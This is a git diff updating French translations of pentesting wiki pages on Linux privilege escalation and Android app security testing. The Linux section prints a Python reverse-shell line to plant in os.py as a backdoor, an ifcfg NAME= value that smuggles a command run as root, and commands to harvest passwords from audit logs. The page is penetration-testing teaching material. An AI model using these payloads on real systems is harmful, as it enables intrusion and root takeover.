il sera (probablement) intéressant.\ -De plus, certains **audit logs** mal configurés (backdoored?) peuvent vous permettre d'**enregistrer des passwords** dans les audit logs comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si vous pouvez lire les logs, vous pourrez peut-être trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le log est étrange, plus il sera intéressant (probablement).\ +De plus, certains **mal** configurés (backdoored?) **audit logs** peuvent vous permettre d'**enregistrer des mots de passe** dans les audit logs comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Pour pouvoir **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera vraiment utile. +Pour **lire les logs**, le groupe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera vraiment utile. -### Fichiers Shell +### Fichiers shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1348,41 +1347,41 @@ Pour pouvoir **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/ ``` ### Generic Creds Search/Regex -Vous devez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et aussi vérifier les IPs et les emails dans les logs, ou des hashes regexps.\ -Je ne vais pas détailler ici comment faire tout cela, mais si vous êtes intéressé vous pouvez consulter les derniers checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. +Vous devriez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et aussi rechercher des IPs et des emails dans les logs, ou des regexps de hashes.\ +Je ne vais pas détailler ici comment faire tout cela mais si cela vous intéresse vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. -## Fichiers accessibles en écriture +## Fichiers modifiables ### Python library hijacking -Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modify python libraries**, vous pouvez modifier l'OS library et y installer une backdoor (si vous pouvez écrire à l'endroit où le script python va être exécuté, copiez-collez le fichier os.py). +Si vous savez d'**où** un script python va être exécuté et que vous **pouvez écrire** dans ce dossier ou **modifier des bibliothèques python**, vous pouvez modifier la OS library et la backdoorer (si vous pouvez écrire là où le script python sera exécuté, copiez-collez la bibliothèque os.py). -Pour **backdoor the library** ajoutez simplement à la fin du fichier os.py la ligne suivante (change IP and PORT): +Pour **backdoor the library** il suffit d'ajouter à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) : ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Exploitation de logrotate -Une vulnérabilité dans `logrotate` permet à des utilisateurs disposant de **permissions d'écriture** sur un fichier de log ou ses répertoires parents de potentiellement obtenir des privilèges escaladés. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. +Une vulnérabilité dans `logrotate` permet à des utilisateurs disposant des **permissions d'écriture** sur un fichier log ou ses répertoires parents de potentiellement obtenir des privilèges élevés. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. > [!TIP] -> Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures +> Cette vulnérabilité affecte `logrotate` version `3.18.0` et les versions antérieures -Des informations plus détaillées sur la vulnérabilité sont disponibles sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Plus d'informations détaillées sur la vulnérabilité se trouvent sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous découvrez que vous pouvez modifier des logs, vérifiez qui gère ces logs et voyez si vous pouvez escalader les privilèges en substituant les logs par des symlinks. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous constatez que vous pouvez modifier des logs, vérifiez qui gère ces logs et si vous pouvez escalader les privilèges en substituant les logs par des symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Référence de la vulnérabilité :** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, pour une quelconque raison, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** de **modifier** un script existant, alors votre **système est pwned**. +Si, pour une raison quelconque, un utilisateur peut **écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **ajuster** un script existant, alors votre **system is pwned**. -Les network scripts, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont ~sourced~ sous Linux par Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourced\~ sur Linux par Network Manager (dispatcher.d). -Dans mon cas, l'attribut `NAME=` dans ces network scripts n'est pas géré correctement. Si vous avez **un espace blanc dans le nom, le système tente d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. +Dans mon cas, l'attribut `NAME=` dans ces network scripts n'est pas géré correctement. Si vous avez **de l'espace blanc dans le nom, le système essaie d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. Par exemple : _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1390,26 +1389,26 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Notez l'espace blanc entre Network et /bin/id_) +(_Remarquez l'espace entre Network et /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, et rc.d** Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif sur les systèmes Redhat est `/etc/rc.d/init.d`. -En revanche, `/etc/init` est associé à **Upstart**, un **gestionnaire de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. +D'autre part, `/etc/init` est associé à **Upstart**, un gestionnaire de **services** plus récent introduit par Ubuntu, qui utilise des fichiers de configuration pour les tâches de gestion de services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés parallèlement aux configurations Upstart grâce à une couche de compatibilité dans Upstart. -**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les snapshots d'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et dans `/etc/systemd/system/` pour les modifications administratives, simplifiant le processus d'administration système. +**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts, et les instantanés d'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications de l'administrateur, simplifiant le processus d'administration système. -## Autres Tricks +## Autres astuces -### NFS Privilege escalation +### Escalade de privilèges NFS {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### Évasion des shells restreints {{#ref}} @@ -1425,35 +1424,36 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Les Android rooting frameworks hookent souvent un syscall pour exposer des fonctionnalités privilégiées du kernel à un userspace manager. Une authentification faible du manager (par ex. des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le manager et d'escalader en root sur des appareils déjà rootés. Pour en savoir plus et voir les détails d'exploitation : +Les frameworks de rooting Android hookent souvent un syscall pour exposer des fonctionnalités noyau privilégiées à un manager userspace. Une authentification faible du manager (par ex., des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale de usurper le manager et d'escalader vers root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici : + {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## Protections de sécurité du noyau - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Plus d'aide [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumère les vulnérabilités du kernel sous Linux et macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Récapitulatif de scripts supplémentaires**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Références diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index c26c1c08c..9ceb1cf78 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,8 +1,8 @@ -# Pentesting des applications Android +# Pentesting des Applications Android {{#include ../../banners/hacktricks-training.md}} -## Notions de base sur les applications Android +## Notions de base des Applications Android Il est fortement recommandé de commencer par lire cette page pour connaître les **parties les plus importantes liées à la sécurité Android et les composants les plus dangereux d'une application Android** : @@ -14,14 +14,14 @@ android-applications-basics.md ## ADB (Android Debug Bridge) C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\ -**ADB** permet de contrôler les appareils soit via **USB** soit via **Network** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'apps, l'**exécution** de commandes shell, la **sauvegarde** des données, la **lecture** des logs, entre autres fonctions. +**ADB** permet de contrôler des appareils soit via **USB** soit via **Network** depuis un ordinateur. Cet outil permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'apps, l'**exécution** de commandes shell, la **sauvegarde** des données, la **lecture** des logs, entre autres fonctions. -Consultez la liste suivante de [**ADB Commands**](adb-commands.md) pour apprendre à utiliser adb. +Consultez la liste suivante des [**ADB Commands**](adb-commands.md) pour apprendre à utiliser adb. ## Smali -Parfois, il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut‑être des passwords bien obfusqués ou des flags). Ensuite, il peut être intéressant de décompiler l'apk, modifier le code et le recompiler.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut être très utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui vont être présentés. Donc, **gardez toujours cette possibilité à l'esprit**. +Parfois il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut-être des mots de passe fortement obfusqués ou des flags). Dans ce cas, il peut être utile de décompiler le apk, modifier le code et le recompiler.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut être très utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui vont être présentés. Ainsi, **gardez toujours à l'esprit cette possibilité**. ## Autres astuces intéressantes @@ -29,7 +29,7 @@ Parfois, il est intéressant de **modifier le code de l'application** pour accé - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- **Télécharger des APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Extraire l'APK depuis l'appareil: ```bash adb shell pm list packages @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Études de cas & Vulnerabilities +## Études de cas & Vulnérabilités {{#ref}} @@ -63,36 +63,36 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Analyse statique -First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ -Please, [**read here to find information about different available decompilers**](apk-decompilers.md). +Tout d'abord, pour analyser un APK vous devriez **examiner le code Java** à l'aide d'un decompiler.\ +Veuillez, [**lire ici pour trouver des informations sur les différents decompilers disponibles**](apk-decompilers.md). ### Recherche d'informations intéressantes -Rien qu'en regardant les **strings** de l'APK, vous pouvez rechercher des **passwords**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **api keys**, de l'**encryption**, des **bluetooth uuids**, des **tokens** et tout ce qui est intéressant... recherchez même des backdoors d'exécution de code ou des backdoors d'authentification (hardcoded admin credentials to the app). +En examinant simplement les **strings** de l'APK vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des éléments liés à **encryption**, des **bluetooth uuids**, des **tokens** et tout ce qui est intéressant... cherchez même des backdoors d'exécution de code ou des backdoors d'authentification (credentials admin hardcodés dans l'app). **Firebase** -Portez une attention particulière aux **Firebase URLs** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Portez une attention particulière aux **Firebase URLs** et vérifiez si la configuration est incorrecte. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Basic understanding of the application - Manifest.xml, strings.xml +### Compréhension de base de l'application - Manifest.xml, strings.xml -L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités de sécurité potentielles**. Ces fichiers sont accessibles via des décompilateurs ou en renommant l'extension APK en .zip puis en décompressant. +L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités de sécurité potentielles**. Ces fichiers peuvent être consultés avec des decompilers ou en renommant l'extension du fichier APK en .zip puis en le décompressant. -**Vulnerabilities** identified from the **Manifest.xml** include: +**Vulnérabilités** identifiées à partir du **Manifest.xml** incluent : -- **Debuggable Applications**: Les applications définies comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ représentent un risque car elles autorisent des connexions pouvant mener à une exploitation. Pour comprendre comment exploiter des applications debuggable, référez-vous à un tutoriel sur la découverte et l'exploitation d'applications debuggable sur un appareil. -- **Backup Settings**: L'attribut `android:allowBackup="false"` devrait être explicitement défini pour les applications manipulant des informations sensibles afin d'empêcher des sauvegardes non autorisées via adb, en particulier lorsque le usb debugging est activé. -- **Network Security**: Les configurations réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme le certificate pinning et les réglages du trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques. -- **Exported Activities and Services**: Identifier les activities et services exportés dans le manifest peut mettre en évidence des composants susceptibles d'être détournés. Une analyse plus approfondie en test dynamique peut révéler comment exploiter ces composants. -- **Content Providers and FileProviders**: Des content providers exposés pourraient permettre un accès non autorisé ou la modification de données. La configuration des FileProviders doit également être scrutée. -- **Broadcast Receivers and URL Schemes**: Ces composants pourraient être utilisés pour des exploitations, en portant une attention particulière à la gestion des URL schemes pour des vulnérabilités d'entrée. -- **SDK Versions**: Les attributs `minSdkVersion`, `targetSDKVersion`, et `maxSdkVersion` indiquent les versions Android supportées, ce qui souligne l'importance de ne pas supporter des versions Android obsolètes et vulnérables pour des raisons de sécurité. +- **Applications debuggables**: Les applications définies comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ présentent un risque car elles permettent des connexions qui peuvent mener à une exploitation. Pour mieux comprendre comment exploiter des applications debuggables, consultez un tutoriel sur la découverte et l'exploitation d'applications debuggables sur un device. +- **Paramètres de backup**: L'attribut `android:allowBackup="false"` devrait être explicitement défini pour les applications traitant des informations sensibles afin d'empêcher des sauvegardes non autorisées via adb, surtout lorsque usb debugging est activé. +- **Network Security**: Des configurations réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme le pinning de certificats et les paramètres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques. +- **Exported Activities and Services**: Identifier les activités et services exportés dans le manifest peut mettre en évidence des composants susceptibles d'être détournés. Une analyse plus poussée lors des tests dynamiques peut révéler comment exploiter ces composants. +- **Content Providers and FileProviders**: Des content providers exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être examinée. +- **Broadcast Receivers and URL Schemes**: Ces composants pourraient être utilisés pour l'exploitation, en portant une attention particulière à la manière dont les URL schemes sont gérés pour les vulnérabilités d'entrée. +- **SDK Versions**: Les attributs `minSdkVersion`, `targetSDKVersion`, et `maxSdkVersion` indiquent les versions Android supportées, soulignant l'importance de ne pas supporter des versions Android obsolètes et vulnérables pour des raisons de sécurité. -From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources. +À partir du fichier **strings.xml**, des informations sensibles telles que des clés API, des schemas personnalisés et d'autres notes de développeurs peuvent être découvertes, ce qui souligne la nécessité d'un examen attentif de ces ressources. ### Tapjacking -**Tapjacking** est une attaque où une **malicious application** est lancée et se positionne au-dessus d'une application victime. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de façon à tromper l'utilisateur pour qu'il interagisse avec elle, tandis qu'elle transmet l'interaction à l'application victime.\ +**Tapjacking** est une attaque où une **malicious application** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visuellement l'application victime, son interface utilisateur est conçue de telle manière qu'elle trompe l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\ En pratique, c'est **aveugler l'utilisateur afin qu'il ne sache pas qu'il effectue en réalité des actions sur l'application victime**. Find more information in: @@ -104,7 +104,7 @@ tapjacking.md ### Task Hijacking -Une **activity** avec le **`launchMode`** défini sur **`singleTask` sans aucun `taskAffinity`** est vulnérable au task Hijacking. Cela signifie qu'une **application** peut être installée et si elle est lancée avant la vraie application, elle pourrait **hijack the task of the real application** (donc l'utilisateur interagira avec la **malicious application en pensant utiliser la vraie**). +Une **activity** avec le **`launchMode`** défini sur **`singleTask` sans aucun `taskAffinity`** est vulnérable au Task Hijacking. Cela signifie qu'une **application** peut être installée et si elle est lancée avant la vraie application elle pourrait **détourner la tâche de la vraie application** (ainsi l'utilisateur interagira avec la **malicious application** en pensant utiliser la vraie). More info in: @@ -113,117 +113,117 @@ More info in: android-task-hijacking.md {{#endref}} -### Insecure data storage +### Stockage de données non sécurisé -**Internal Storage** +Internal Storage -Sur Android, les fichiers **stockés** en **internal** storage sont **conçus** pour être **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement suffisante pour la plupart des applications. Cependant, les développeurs utilisent parfois des modes comme `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement malveillantes. +En Android, les fichiers **stockés** en **internal** storage sont **conçus** pour être **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** que des fichiers soient **partagés** entre différentes applications. Or, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement malveillantes. 1. **Static Analysis:** -- **Ensure** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` soit **examinée attentivement**. Ces modes **peuvent exposer** des fichiers à des accès non souhaités ou non autorisés. +- **Vérifier** soigneusement l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE`. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**. 2. **Dynamic Analysis:** -- **Verify** les **permissions** définies sur les fichiers créés par l'app. En particulier, **vérifiez** si des fichiers sont **rendux lisibles ou modifiables worldwide**. Cela peut poser un risque de sécurité important, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers. +- **Valider** les **permissions** définies sur les fichiers créés par l'app. Plus précisément, **vérifiez** si des fichiers sont **réglés comme lisibles ou modifiables par tous**. Cela peut constituer un risque de sécurité significatif, car cela permettrait à **n'importe quelle application** installée sur le device, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers. -**External Storage** +External Storage -Quand on traite des fichiers sur le **external storage**, comme les cartes SD, certaines précautions doivent être prises: +Lorsqu'on traite des fichiers sur le **external storage**, comme les SD Cards, certaines précautions doivent être prises : -1. **Accessibility**: -- Les fichiers sur external storage sont **globalement lisibles et modifiables**. Cela signifie que toute application ou utilisateur peut y accéder. -2. **Security Concerns**: -- Étant donné la facilité d'accès, il est conseillé de **ne pas stocker d'informations sensibles** sur l'external storage. +1. **Accessibilité**: +- Les fichiers sur external storage sont **globalement lisibles et modifiables**. Cela signifie que n'importe quelle application ou utilisateur peut accéder à ces fichiers. +2. **Préoccupations de sécurité**: +- Étant donné la facilité d'accès, il est conseillé **de ne pas stocker d'informations sensibles** sur l'external storage. - L'external storage peut être retiré ou accédé par n'importe quelle application, le rendant moins sécurisé. -3. **Handling Data from External Storage**: -- Toujours **effectuer une validation des entrées** sur les données récupérées depuis l'external storage. C'est crucial car les données proviennent d'une source non fiable. -- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classes sur l'external storage pour un chargement dynamique. -- Si votre application doit impérativement récupérer des fichiers exécutables depuis l'external storage, assurez-vous que ces fichiers soient **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de la sécurité de votre application. +3. **Traitement des données provenant de l'external storage**: +- Effectuez toujours une **validation d'entrée** sur les données récupérées depuis l'external storage. C'est crucial car ces données proviennent d'une source non fiable. +- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classes sur external storage pour les charger dynamiquement. +- Si votre application doit récupérer des fichiers exécutables depuis l'external storage, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de sécurité de votre application. -External storage can be **accessed** in /storage/emulated/0 , /sdcard , /mnt/sdcard +External storage peut être **accédé** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] > Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. -**Sensitive data stored in clear-text** +Données sensibles stockées en clair -- **Shared preferences**: Android allow to each application to easily save xml files in the path /data/data//shared_prefs/ and sometimes it's possible to find sensitive information in clear-text in that folder. -- **Databases**: Android allow to each application to easily save sqlite databases in the path /data/data//databases/ and sometimes it's possible to find sensitive information in clear-text in that folder. +- **Shared preferences**: Android permet à chaque application de facilement sauvegarder des fichiers xml dans le chemin `/data/data//shared_prefs/` et parfois il est possible de trouver des informations sensibles en clear-text dans ce dossier. +- **Databases**: Android permet à chaque application de facilement sauvegarder des bases sqlite dans le chemin `/data/data//databases/` et parfois il est possible de trouver des informations sensibles en clear-text dans ce dossier. -### Broken TLS +### TLS compromis -**Accept All Certificates** +Accepter tous les certificats -For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one: +Pour une raison quelconque, certains développeurs acceptent parfois tous les certificats même si, par exemple, le hostname ne correspond pas, avec des lignes de code comme la suivante : ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA à l'intérieur de l'appareil. Vous pouvez également générer avec Burp un certificat pour un nom d'hôte différent et l'utiliser. +Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA à l'intérieur de l'appareil. De plus, vous pouvez générer avec Burp un certificat pour un hostname différent et l'utiliser. ### Cryptographie défaillante -**Processus de gestion des clés insuffisants** +**Mauvaises pratiques de gestion des clés** -Certains développeurs sauvegardent des données sensibles dans le stockage local et les chiffrent avec une clé codée en dur/prédictible dans le code. Cela ne devrait pas être fait car du reversing pourrait permettre à des attaquants d'extraire les informations confidentielles. +Certains développeurs enregistrent des données sensibles dans le stockage local et les chiffrent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car du reversing pourrait permettre à des attaquants d'extraire l'information confidentielle. **Utilisation d'algorithmes non sécurisés et/ou obsolètes** -Les développeurs ne devraient pas utiliser des **deprecated algorithms** pour effectuer des **authorisation checks**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants au brute-force devraient être utilisés avec du salt. +Les développeurs ne devraient pas utiliser des **deprecated algorithms** pour effectuer des **checks** d'authorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, il faut utiliser des hashes résistants au brute-force avec du salt. ### Autres vérifications -- Il est recommandé d'**obfusquer l'APK** pour rendre le travail de reverse engineering plus difficile pour les attaquants. -- Si l'app est sensible (comme les apps bancaires), elle devrait effectuer ses **propres vérifications pour savoir si le mobile est rooté** et agir en conséquence. -- Si l'app est sensible (comme les apps bancaires), elle devrait vérifier si un **emulator** est utilisé. -- Si l'app est sensible (comme les apps bancaires), elle devrait **vérifier son intégrité avant de s'exécuter** pour vérifier si elle a été modifiée. -- Use 